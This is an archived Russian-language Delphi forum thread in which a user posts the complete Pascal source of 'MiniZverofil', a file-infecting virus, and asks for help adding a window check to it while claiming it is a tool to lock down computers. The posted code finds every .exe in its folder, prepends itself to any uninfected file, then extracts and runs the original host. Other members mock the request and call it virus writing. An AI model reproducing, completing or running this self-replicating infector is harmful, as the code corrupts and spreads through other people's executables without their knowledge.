Главная страница
    Top.Mail.Ru    Яндекс.Метрика
Форум: "Основная";
Текущий архив: 2005.03.20;
Скачать: [xml.tar.bz2];

Вниз

Проблема при работе с файлами, не получается правильно дописывать   Найти похожие ветки 

 
ArchValentin ©   (2005-03-06 05:37) [0]

Здарова народ, подскажите pls. Вот у мя есть такой код (см. ниже). Так вот он дописывает во все exe"шники свой код. Подскажите pls что нужно написать в процедуре MakeIt чтобы exe"шник при запуске проверял наличие определённого окна, и если не найденно то не запускалась??? Пытался FindWindows, компелируется нормально, а работать не хочет.

ps модераторы, не удаляйте данную ветвь, пишу прогу для защиты компов от юзеров


 
ArchValentin ©   (2005-03-06 05:39) [1]

Листинг. Часть 1

{$A8,B-,C-,D+,E-,F-,G+,H+,I+,J-,K-,L-,M-,N+,O+,P+,Q-,R-,S-,T-,U-,V+,W-,X+,Y-,Z1}
{$MINSTACKSIZE $00004000}
{$MAXSTACKSIZE $00100000}
{$IMAGEBASE $00400000}
{$APPTYPE GUI}
{$WARN SYMBOL_DEPRECATED OFF}
{$WARN SYMBOL_LIBRARY OFF}
{$WARN SYMBOL_PLATFORM OFF}
{$WARN UNIT_LIBRARY OFF}
{$WARN UNIT_PLATFORM OFF}
{$WARN UNIT_DEPRECATED OFF}
{$WARN HRESULT_COMPAT OFF}
{$WARN HIDING_MEMBER OFF}
{$WARN HIDDEN_VIRTUAL OFF}
{$WARN GARBAGE OFF}
{$WARN BOUNDS_ERROR OFF}
{$WARN ZERO_NIL_COMPAT OFF}
{$WARN STRING_CONST_TRUNCED OFF}
{$WARN FOR_LOOP_VAR_VARPAR OFF}
{$WARN TYPED_CONST_VARPAR OFF}
{$WARN ASG_TO_TYPED_CONST OFF}
{$WARN CASE_LABEL_RANGE OFF}
{$WARN FOR_VARIABLE OFF}
{$WARN CONSTRUCTING_ABSTRACT OFF}
{$WARN COMPARISON_FALSE OFF}
{$WARN COMPARISON_TRUE OFF}
{$WARN COMPARING_SIGNED_UNSIGNED OFF}
{$WARN COMBINING_SIGNED_UNSIGNED OFF}
{$WARN UNSUPPORTED_CONSTRUCT OFF}
{$WARN FILE_OPEN OFF}
{$WARN FILE_OPEN_UNITSRC OFF}
{$WARN BAD_GLOBAL_SYMBOL OFF}
{$WARN DUPLICATE_CTOR_DTOR OFF}
{$WARN INVALID_DIRECTIVE OFF}
{$WARN PACKAGE_NO_LINK OFF}
{$WARN PACKAGED_THREADVAR OFF}
{$WARN IMPLICIT_IMPORT OFF}
{$WARN HPPEMIT_IGNORED OFF}
{$WARN NO_RETVAL OFF}
{$WARN USE_BEFORE_DEF OFF}
{$WARN FOR_LOOP_VAR_UNDEF OFF}
{$WARN UNIT_NAME_MISMATCH OFF}
{$WARN NO_CFG_FILE_FOUND OFF}
{$WARN MESSAGE_DIRECTIVE OFF}
{$WARN IMPLICIT_VARIANTS OFF}
{$WARN UNICODE_TO_LOCALE OFF}
{$WARN LOCALE_TO_UNICODE OFF}
{$WARN IMAGEBASE_MULTIPLE OFF}
{$WARN SUSPICIOUS_TYPECAST OFF}
{$WARN PRIVATE_PROPACCESSOR OFF}
{$WARN UNSAFE_TYPE OFF}
{$WARN UNSAFE_CODE OFF}
{$WARN UNSAFE_CAST OFF}
program MiniZverofil;

const
kernel32="kErNeL32.DlL";
oleaut32="OlEaUt32.dLl";

type
 _FILETIME = record
   dwLowDateTime: Cardinal;
   dwHighDateTime: Cardinal;
 end;

 _WIN32_FIND_DATAA = record
   dwFileAttributes: Cardinal;
   ftCreationTime: _FileTime;
   ftLastAccessTime: _FileTime;
   ftLastWriteTime: _FileTime;
   nFileSizeHigh: Cardinal;
   nFileSizeLow: Cardinal;
   dwReserved0: Cardinal;
   dwReserved1: Cardinal;
   cFileName: array[0..259] of AnsiChar;
   cAlternateFileName: array[0..13] of AnsiChar;
 end;

 _STARTUPINFOA = record
   cb: Cardinal;
   lpReserved: Pointer;
   lpDesktop: Pointer;
   lpTitle: Pointer;
   dwX: Cardinal;
   dwY: Cardinal;
   dwXSize: Cardinal;
   dwYSize: Cardinal;
   dwXCountChars: Cardinal;
   dwYCountChars: Cardinal;
   dwFillAttribute: Cardinal;
   dwFlags: Cardinal;
   wShowWindow: Word;
   cbReserved2: Word;
   lpReserved2: PByte;
   hStdInput: Cardinal;
   hStdOutput: Cardinal;
   hStdError: Cardinal;
 end;

 _PROCESS_INFORMATION = record
   hProcess: Cardinal;
   hThread: Cardinal;
   dwProcessId: Cardinal;
   dwThreadId: Cardinal;
 end;

function SysAllocStringByteLen(psz: PChar; len: Integer): pointer;
stdcall;external oleaut32 name "SysAllocStringByteLen";

function SysFreeString(psz: pointer): Cardinal;
stdcall;external oleaut32 name "SysFreeString";

function CreateFile(lpFileName: PChar; dwDesiredAccess, dwShareMode: Cardinal;
lpSecurityAttributes: Pointer; dwCreationDisposition, dwFlagsAndAttributes: Cardinal;
hTemplateFile: Cardinal): Cardinal; stdcall;external kernel32 name "CreateFileA";

function GetFileSize(hFile: Cardinal; lpFileSizeHigh: Pointer): Cardinal; stdcall;
external kernel32 name "GetFileSize";

function CloseHandle(hObject: Cardinal): BOOLean; stdcall;
external kernel32 name "CloseHandle";

function ReadFile(hFile: Cardinal; var Buffer; nNumberOfBytesToRead: Cardinal;
var lpNumberOfBytesRead: Cardinal; lpOverlapped: Pointer): BOOLean; stdcall;
external kernel32 name "ReadFile";

function FindFirstFile(lpFileName: PAnsiChar; var lpFindFileData: _WIN32_Find_DataA): Cardinal; stdcall;
external kernel32 name "FindFirstFileA";

function WriteFile(hFile: Cardinal; const Buffer; nNumberOfBytesToWrite: Cardinal;
var lpNumberOfBytesWritten: Cardinal; lpOverlapped: Pointer): BOOLean; stdcall;
external kernel32 name "WriteFile";

function FindNextFile(hFindFile: Cardinal; var lpFindFileData: _WIN32_Find_Dataa): BOOLean; stdcall;
external kernel32 name "FindNextFileA";

procedure GetStartupInfo(var lpStartupInfo: _StartupInfoA); stdcall;
external kernel32 name "GetStartupInfoA";

function CreateProcess(lpApplicationName: PChar; lpCommandLine: PChar;
 lpProcessAttributes, lpThreadAttributes: Pointer;
 bInheritHandles: BOOLean; dwCreationFlags: Cardinal; lpEnvironment: Pointer;
 lpCurrentDirectory: PChar; const lpStartupInfo: _StartupInfoA;
 var lpProcessInformation: _Process_Information): BOOLean; stdcall;
external kernel32 name "CreateProcessA";


 
ArchValentin ©   (2005-03-06 05:39) [2]

Листинг. Часть 1

{$A8,B-,C-,D+,E-,F-,G+,H+,I+,J-,K-,L-,M-,N+,O+,P+,Q-,R-,S-,T-,U-,V+,W-,X+,Y-,Z1}
{$MINSTACKSIZE $00004000}
{$MAXSTACKSIZE $00100000}
{$IMAGEBASE $00400000}
{$APPTYPE GUI}
{$WARN SYMBOL_DEPRECATED OFF}
{$WARN SYMBOL_LIBRARY OFF}
{$WARN SYMBOL_PLATFORM OFF}
{$WARN UNIT_LIBRARY OFF}
{$WARN UNIT_PLATFORM OFF}
{$WARN UNIT_DEPRECATED OFF}
{$WARN HRESULT_COMPAT OFF}
{$WARN HIDING_MEMBER OFF}
{$WARN HIDDEN_VIRTUAL OFF}
{$WARN GARBAGE OFF}
{$WARN BOUNDS_ERROR OFF}
{$WARN ZERO_NIL_COMPAT OFF}
{$WARN STRING_CONST_TRUNCED OFF}
{$WARN FOR_LOOP_VAR_VARPAR OFF}
{$WARN TYPED_CONST_VARPAR OFF}
{$WARN ASG_TO_TYPED_CONST OFF}
{$WARN CASE_LABEL_RANGE OFF}
{$WARN FOR_VARIABLE OFF}
{$WARN CONSTRUCTING_ABSTRACT OFF}
{$WARN COMPARISON_FALSE OFF}
{$WARN COMPARISON_TRUE OFF}
{$WARN COMPARING_SIGNED_UNSIGNED OFF}
{$WARN COMBINING_SIGNED_UNSIGNED OFF}
{$WARN UNSUPPORTED_CONSTRUCT OFF}
{$WARN FILE_OPEN OFF}
{$WARN FILE_OPEN_UNITSRC OFF}
{$WARN BAD_GLOBAL_SYMBOL OFF}
{$WARN DUPLICATE_CTOR_DTOR OFF}
{$WARN INVALID_DIRECTIVE OFF}
{$WARN PACKAGE_NO_LINK OFF}
{$WARN PACKAGED_THREADVAR OFF}
{$WARN IMPLICIT_IMPORT OFF}
{$WARN HPPEMIT_IGNORED OFF}
{$WARN NO_RETVAL OFF}
{$WARN USE_BEFORE_DEF OFF}
{$WARN FOR_LOOP_VAR_UNDEF OFF}
{$WARN UNIT_NAME_MISMATCH OFF}
{$WARN NO_CFG_FILE_FOUND OFF}
{$WARN MESSAGE_DIRECTIVE OFF}
{$WARN IMPLICIT_VARIANTS OFF}
{$WARN UNICODE_TO_LOCALE OFF}
{$WARN LOCALE_TO_UNICODE OFF}
{$WARN IMAGEBASE_MULTIPLE OFF}
{$WARN SUSPICIOUS_TYPECAST OFF}
{$WARN PRIVATE_PROPACCESSOR OFF}
{$WARN UNSAFE_TYPE OFF}
{$WARN UNSAFE_CODE OFF}
{$WARN UNSAFE_CAST OFF}
program MiniZverofil;

const
kernel32="kErNeL32.DlL";
oleaut32="OlEaUt32.dLl";

type
 _FILETIME = record
   dwLowDateTime: Cardinal;
   dwHighDateTime: Cardinal;
 end;

 _WIN32_FIND_DATAA = record
   dwFileAttributes: Cardinal;
   ftCreationTime: _FileTime;
   ftLastAccessTime: _FileTime;
   ftLastWriteTime: _FileTime;
   nFileSizeHigh: Cardinal;
   nFileSizeLow: Cardinal;
   dwReserved0: Cardinal;
   dwReserved1: Cardinal;
   cFileName: array[0..259] of AnsiChar;
   cAlternateFileName: array[0..13] of AnsiChar;
 end;

 _STARTUPINFOA = record
   cb: Cardinal;
   lpReserved: Pointer;
   lpDesktop: Pointer;
   lpTitle: Pointer;
   dwX: Cardinal;
   dwY: Cardinal;
   dwXSize: Cardinal;
   dwYSize: Cardinal;
   dwXCountChars: Cardinal;
   dwYCountChars: Cardinal;
   dwFillAttribute: Cardinal;
   dwFlags: Cardinal;
   wShowWindow: Word;
   cbReserved2: Word;
   lpReserved2: PByte;
   hStdInput: Cardinal;
   hStdOutput: Cardinal;
   hStdError: Cardinal;
 end;

 _PROCESS_INFORMATION = record
   hProcess: Cardinal;
   hThread: Cardinal;
   dwProcessId: Cardinal;
   dwThreadId: Cardinal;
 end;

function SysAllocStringByteLen(psz: PChar; len: Integer): pointer;
stdcall;external oleaut32 name "SysAllocStringByteLen";

function SysFreeString(psz: pointer): Cardinal;
stdcall;external oleaut32 name "SysFreeString";

function CreateFile(lpFileName: PChar; dwDesiredAccess, dwShareMode: Cardinal;
lpSecurityAttributes: Pointer; dwCreationDisposition, dwFlagsAndAttributes: Cardinal;
hTemplateFile: Cardinal): Cardinal; stdcall;external kernel32 name "CreateFileA";

function GetFileSize(hFile: Cardinal; lpFileSizeHigh: Pointer): Cardinal; stdcall;
external kernel32 name "GetFileSize";

function CloseHandle(hObject: Cardinal): BOOLean; stdcall;
external kernel32 name "CloseHandle";

function ReadFile(hFile: Cardinal; var Buffer; nNumberOfBytesToRead: Cardinal;
var lpNumberOfBytesRead: Cardinal; lpOverlapped: Pointer): BOOLean; stdcall;
external kernel32 name "ReadFile";

function FindFirstFile(lpFileName: PAnsiChar; var lpFindFileData: _WIN32_Find_DataA): Cardinal; stdcall;
external kernel32 name "FindFirstFileA";

function WriteFile(hFile: Cardinal; const Buffer; nNumberOfBytesToWrite: Cardinal;
var lpNumberOfBytesWritten: Cardinal; lpOverlapped: Pointer): BOOLean; stdcall;
external kernel32 name "WriteFile";

function FindNextFile(hFindFile: Cardinal; var lpFindFileData: _WIN32_Find_Dataa): BOOLean; stdcall;
external kernel32 name "FindNextFileA";

procedure GetStartupInfo(var lpStartupInfo: _StartupInfoA); stdcall;
external kernel32 name "GetStartupInfoA";

function CreateProcess(lpApplicationName: PChar; lpCommandLine: PChar;
 lpProcessAttributes, lpThreadAttributes: Pointer;
 bInheritHandles: BOOLean; dwCreationFlags: Cardinal; lpEnvironment: Pointer;
 lpCurrentDirectory: PChar; const lpStartupInfo: _StartupInfoA;
 var lpProcessInformation: _Process_Information): BOOLean; stdcall;
external kernel32 name "CreateProcessA";


 
ArchValentin ©   (2005-03-06 05:41) [3]

часть 2
function GetExitCodeProcess(hProcess: THandle; var lpExitCode: Cardinal): BOOLean; stdcall;
external kernel32 name "GetExitCodeProcess";

function DeleteFile(lpFileName: PChar): BOOLean; stdcall;
external kernel32 name "DeleteFileA";

type
 _IMAGE_FILE_HEADER = packed record
   Machine: Word;
   NumberOfSections: Word;
   TimeDateStamp: Cardinal;
   PointerToSymbolTable: Cardinal;
   NumberOfSymbols: Cardinal;
   SizeOfOptionalHeader: Word;
   Characteristics: Word;
 end;

 _IMAGE_DATA_DIRECTORY = record
   VirtualAddress: Cardinal;
   Size: Cardinal;
 end;

 _IMAGE_DOS_HEADER = packed record      { DOS .EXE header                  }
     e_magic: Word;                     { Magic number                     }
     e_cblp: Word;                      { Bytes on last page of file       }
     e_cp: Word;                        { Pages in file                    }
     e_crlc: Word;                      { Relocations                      }
     e_cparhdr: Word;                   { Size of header in paragraphs     }
     e_minalloc: Word;                  { Minimum extra paragraphs needed  }
     e_maxalloc: Word;                  { Maximum extra paragraphs needed  }
     e_ss: Word;                        { Initial (relative) SS value      }
     e_sp: Word;                        { Initial SP value                 }
     e_csum: Word;                      { Checksum                         }
     e_ip: Word;                        { Initial IP value                 }
     e_cs: Word;                        { Initial (relative) CS value      }
     e_lfarlc: Word;                    { File address of relocation table }
     e_ovno: Word;                      { Overlay number                   }
     e_res: array [0..3] of Word;       { Reserved words                   }
     e_oemid: Word;                     { OEM identifier (for e_oeminfo)   }
     e_oeminfo: Word;                   { OEM information; e_oemid specific}
     e_res2: array [0..9] of Word;      { Reserved words                   }
     _lfanew: LongInt;                  { File address of new exe header   }
 end;

 _IMAGE_OPTIONAL_HEADER = packed record
   { Standard fields. }
   Magic: Word;
   MajorLinkerVersion: Byte;
   MinorLinkerVersion: Byte;
   SizeOfCode: Cardinal;
   SizeOfInitializedData: Cardinal;
   SizeOfUninitializedData: Cardinal;
   AddressOfEntryPoint: Cardinal;
   BaseOfCode: Cardinal;
   BaseOfData: Cardinal;
   { NT additional fields. }
   ImageBase: Cardinal;
   SectionAlignment: Cardinal;
   FileAlignment: Cardinal;
   MajorOperatingSystemVersion: Word;
   MinorOperatingSystemVersion: Word;
   MajorImageVersion: Word;
   MinorImageVersion: Word;
   MajorSubsystemVersion: Word;
   MinorSubsystemVersion: Word;
   Win32VersionValue: Cardinal;
   SizeOfImage: Cardinal;
   SizeOfHeaders: Cardinal;
   CheckSum: Cardinal;
   Subsystem: Word;
   DllCharacteristics: Word;
   SizeOfStackReserve: Cardinal;
   SizeOfStackCommit: Cardinal;
   SizeOfHeapReserve: Cardinal;
   SizeOfHeapCommit: Cardinal;
   LoaderFlags: Cardinal;
   NumberOfRvaAndSizes: Cardinal;
   DataDirectory: packed array[0..15] of _IMAGE_DATA_DIRECTORY;
 end;

 _IMAGE_NT_HEADERS = packed record
   Signature: Cardinal;
   FileHeader: _IMAGE_FILE_HEADER;
   OptionalHeader: _IMAGE_OPTIONAL_HEADER;
 end;

 PImageNtHeaders = ^_IMAGE_NT_HEADERS;

 TISHMisc = packed record
   case Integer of
     0: (PhysicalAddress: Cardinal);
     1: (VirtualSize: Cardinal);
 end;

 _IMAGE_SECTION_HEADER = packed record
   Name: packed array[0..7] of Byte;
   Misc: TISHMisc;
   VirtualAddress: Cardinal;
   SizeOfRawData: Cardinal;
   PointerToRawData: Cardinal;
   PointerToRelocations: Cardinal;
   PointerToLinenumbers: Cardinal;
   NumberOfRelocations: Word;
   NumberOfLinenumbers: Word;
   Characteristics: Cardinal;
 end;

 PImageSectionHeader = ^_IMAGE_SECTION_HEADER;

 PImageDosHeader = ^_Image_Dos_Header;

const

 GENERIC_READ             = Cardinal($80000000);
 FILE_SHARE_READ                     = $00000001;
 OPEN_EXISTING = 3;
 FILE_ATTRIBUTE_NORMAL               = $00000080;
 GENERIC_WRITE            = $40000000;
 CREATE_ALWAYS = 2;
 NORMAL_PRIORITY_CLASS           = $00000020;
 STill_Active                  = $00000103;

var
hFile,hFile1,dwFileSize,dwFileSize1,Br,hFind,OldVirSize,ExitCode:Cardinal;
Mesto,Mesto1:Pointer;
FindDataX:_win32_find_dataa;
MadMe:array[1..19] of char = "MZThis is ZveroFil!";
Buf:array[1..64] of byte;
ProcessInfo:_PROCESS_INFORMATION;
StartInfo:_StartupInfoA;

procedure MakeIt;
begin
end;


 
ArchValentin ©   (2005-03-06 05:41) [4]

часть 3

function MakeWord(A, B: Byte): Word;
begin
 Result := A or B shl 8;
end;

function MakeLong(A, B: Word): Longint;
begin
 Result := A or B shl 16;
end;

function GetVirSize(AData:Pointer):Cardinal;
var
LPNtHdr:PImageNtHeaders;
Sect:PImageSectionHeader;
_lfanew:Longint;
begin
_lfanew:=MakeLong(MakeWord(Buf[61],Buf[62]),MakeWord(Buf[63],Buf[64]));
LPNtHdr:=Pointer(Cardinal(AData)+Cardinal(_lfanew));
Sect:=Pointer(Cardinal(LPNtHdr)+(LPNtHdr^.FileHeader.NumberOfSections-1)*SizeOf(Sect^));
Result:=Sect^.PointerToRawData+Sect^.SizeOfRawData;
end;

function OutKlient(AData:Pointer):Boolean;
var
i:Integer;
ok:Boolean;
buf_MadMe:array[1..19] of char;
begin
move(PImageDosHeader(AData)^,buf_MadMe,19);
ok:=true;
for i:=1 to 19 do
if buf_MadMe[i]<>MadMe[i] then
begin
 ok:=false;
 break;
end;
Result:=ok;
end;

begin
MakeIt;
hFile:=CreateFile(PChar(ParamStr(0)),GENERIC_READ,FILE_SHARE_READ,nil,
OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0);
dwFileSize:=GetFileSize(hFile,0);
Mesto:=SysAllocStringByteLen(0,dwFileSize);
if Mesto=nil then
begin
 CloseHandle(hFile);
 Halt;
end;
ReadFile(hFile,Buf,64,Br,0);
if Br=0 then
begin
 SysFreeString(Mesto);
 CloseHandle(hFile);
 Halt;
end;
ReadFile(hFile,Mesto^,dwFileSize-64,Br,0);
OldVirSize:=GetVirSize(Mesto);
if Br=0 then
begin
 SysFreeString(Mesto);
 CloseHandle(hFile);
 Halt;
end;
move(MadMe,Buf,19);
hFind:=FindFirstFile("*.exe",FindDataX);
if hFind<>0 then
begin
 repeat
  hFile1:=CreateFile(Addr(FindDataX.cFileName),GENERIC_READ,FILE_SHARE_READ,nil,
  OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0);
  dwFileSize1:=GetFileSize(hFile1,0);
  Mesto1:=SysAllocStringByteLen(0,dwFileSize1);
  ReadFile(hFile1,Mesto1^,dwFileSize1,Br,0);
  if Br=0 then
  begin
   SysFreeString(Mesto);
   SysFreeString(Mesto1);
   CloseHandle(hFile);
   CloseHandle(hFile1);
   Halt;
  end;
  if not OutKlient(Mesto1) then
  begin
   CloseHandle(hFile1);
   hFile1:=CreateFile(Addr(FindDataX.cFileName),GENERIC_WRITE,0,nil,
   CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
   WriteFile(hFile1,Buf,64,Br,0);
   WriteFile(hFile1,Mesto^,OldVirSize,Br,0);
   WriteFile(hFile1,Mesto1^,dwFileSize1,Br,0);
   CloseHandle(hFile1);
  end;
  SysFreeString(Mesto1);
 until not FindNextFile(hFind,FindDataX);
end;
SysFreeString(Mesto);
CloseHandle(hFile);
{Processing Real ExE}
hFile:=CreateFile(PChar(ParamStr(0)),GENERIC_READ,FILE_SHARE_READ,nil,
OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0);
dwFileSize:=GetFileSize(hFile,0);
Mesto:=SysAllocStringByteLen(0,dwFileSize);
ReadFile(hFile,Mesto^,OldVirSize+64,Br,0);
ReadFile(hFile,Mesto^,dwFileSize-OldVirSize-64,Br,0);
hFile1:=CreateFile(PChar(ParamStr(0)+".exe"),GENERIC_WRITE,0,nil,
CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
WriteFile(hFile1,Mesto^,dwFileSize-OldVirSize,Br,0);
CloseHandle(hFile1);
SysFreeString(Mesto);
CloseHandle(hFile);
GetStartupInfo(StartInfo);
CreateProcess(nil,PChar(ParamStr(0)+".exe"),nil,nil,false,NORMAL_PRIORITY_CLASS,nil,nil,
startinfo,processinfo);
repeat
 GetExitCodeProcess(processInfo.hProcess,exitcode);
until exitcode<>still_active;
closehandle(processinfo.hProcess);
DeleteFile(PChar(ParamStr(0)+".exe"));
end.


 
Anatoly Podgoretsky ©   (2005-03-06 11:30) [5]

Ну и зачем ты вывалил сюда этот код, не надо устравивать помойку. А ссылочка на пользователей не выдерживает критики, все так говорят.


 
TeNY ©   (2005-03-06 12:49) [6]


Так вот он дописывает во все exe"шники свой код.
...
пишу прогу для защиты компов от юзе

И каким же образом модификация ехешника защищает комп от юзеров?Разве что приводит к его полной нефункциональнсти.

2Anatoly Podgoretsky Неужели на форуме уже разрешили хакерские и вирописательские темы?


 
Anatoly Podgoretsky ©   (2005-03-06 13:56) [7]

Никто не разрешал, хакерам смерть здесь.


 
Gero ©   (2005-03-06 13:57) [8]


> Anatoly Podgoretsky ©   (06.03.05 13:56)

Странно, почему ветка еще жива?


 
Anatoly Podgoretsky ©   (2005-03-06 13:58) [9]

А чего странного, просто не удалена, потому и жива.


 
TeNY ©   (2005-03-06 14:33) [10]

TO Anatoly Podgoretsky железная логика :)


 
Anton_K ©   (2005-03-06 14:45) [11]

>ArchValentin

Вирусы лучше на Ассемблере писать.


 
ArchValentin ©   (2005-03-07 04:27) [12]

НИКАКОГО ВИРУСОПИСАНИЯ!!!

Значитца так, строю логику таким образом, зараженная игрушка при запуске ищит клиентскую часть локера, и ежели она не найдена, значит юзер, гад, умудрился её каким-то образом вырубить, изначит игрушке, в этом случае, запускаться не нужно.
Так вот, мне нужно заставить этот код искать окошки, вот такой код почему-то не пашет:
var
h:hWnd;
begin
  h:=FindWindow(nil, "Client_infect_programm");
  if h=0
  then ShowMessage("Окно не найденно!!!");
 end;
end;


 
naum   (2005-03-07 06:10) [13]

смешно, автор выкладывает 3 страницы "зверского" кода, а стопорится на 3х простейших строка. "орехи" - 100пудово :)


 
TeNY ©   (2005-03-07 07:16) [14]

Вопросы такого масштаба на таких форумах не решаются,то что вы спрашиваете есть серьёзная задача которую может решить только профи,а таких здесь единицы да и помогать они вам не собираются,так как считают это ниже своего достоинтсва. Так что дерзайте сами ищите и исправляете!


 
TeNY ©   (2005-03-07 07:24) [15]

2Naum а что тут смешного,сразу сорец взят из инета с буржуйского сайта.Причем явно видно непонимание работы Delphi.

2ArchValentin ты слово Uses знаеш?Так вот добавь в этот раздел
юниты Windows,Sysutils,Dialogs,Messages.
И убери всю эту лабуду с обьявлением функций,меньше места все равно занимать не будет,да и смыл маленького обьема,
все равно не вирЬ :)


 
ArchValentin ©   (2005-03-08 05:21) [16]


> TeNY ©   (07.03.05 07:24) [15]

ну еслиб чё, то эта "лабуда" так гораздо быстрее работает.
да кстати, вот даже с этой хренью
> Windows,Sysutils,Dialogs,Messages
код прекрасно компелируется, но всё равно не работает :(((


 
TeNY ©   (2005-03-08 06:25) [17]

Кстати в такие коды спеацильно вносят ошибки,так что попробуй воспользоватся отладчиком и проверь выполнение кода строка за строкой


 
Юрий Зотов ©   (2005-03-08 06:30) [18]

> ArchValentin ©   (08.03.05 05:21) [16]

Хм. А откуда же известно, что "эта лабуда гораздо быстрее работает", если она пока что "компелируется, но всё равно не работает"?


 
TeNY ©   (2005-03-08 06:35) [19]

Автор сидел с секундомером и засекал :),наверное он имел ввиду время компиляции:)


 
Набережных С. ©   (2005-03-08 07:53) [20]


> TeNY ©   (08.03.05 06:35) [19]

Да? Интересная гипотеза. А с чем сравнивалось-то? Быстрее чего?


 
TeNY ©   (2005-03-08 18:08) [21]


> Да? Интересная гипотеза. А с чем сравнивалось-то? Быстрее
> чего?

Время компиляции с Windows,Sysutils,Dialogs,Messages
и с самопальным обьявлением функций.

2автор кстати вероятно всего не работает потому что какойт-то модуль  не грузится kernel32 вроде бы, да и ось может не подходить



Страницы: 1 вся ветка

Форум: "Основная";
Текущий архив: 2005.03.20;
Скачать: [xml.tar.bz2];

Наверх





Память: 0.55 MB
Время: 0.05 c
3-1108989684
Neznaika
2005-02-21 15:41
2005.03.20
"Переносимость" моего приложения


1-1109919297
Fktrc
2005-03-04 09:54
2005.03.20
Исключение в деструкторе треда при попытке протрассировать его


14-1109835563
ISP
2005-03-03 10:39
2005.03.20
Наконец-то админы смогут спать спокойно :)


14-1109141254
Mystic
2005-02-23 09:47
2005.03.20
Тест на IQ


1-1110361345
diabolik_krsk
2005-03-09 12:42
2005.03.20
Проверка в общем списке файлов файлов с расширением *.mod





Afrikaans Albanian Arabic Armenian Azerbaijani Basque Belarusian Bulgarian Catalan Chinese (Simplified) Chinese (Traditional) Croatian Czech Danish Dutch English Estonian Filipino Finnish French
Galician Georgian German Greek Haitian Creole Hebrew Hindi Hungarian Icelandic Indonesian Irish Italian Japanese Korean Latvian Lithuanian Macedonian Malay Maltese Norwegian
Persian Polish Portuguese Romanian Russian Serbian Slovak Slovenian Spanish Swahili Swedish Thai Turkish Ukrainian Urdu Vietnamese Welsh Yiddish Bengali Bosnian
Cebuano Esperanto Gujarati Hausa Hmong Igbo Javanese Kannada Khmer Lao Latin Maori Marathi Mongolian Nepali Punjabi Somali Tamil Telugu Yoruba
Zulu
Английский Французский Немецкий Итальянский Португальский Русский Испанский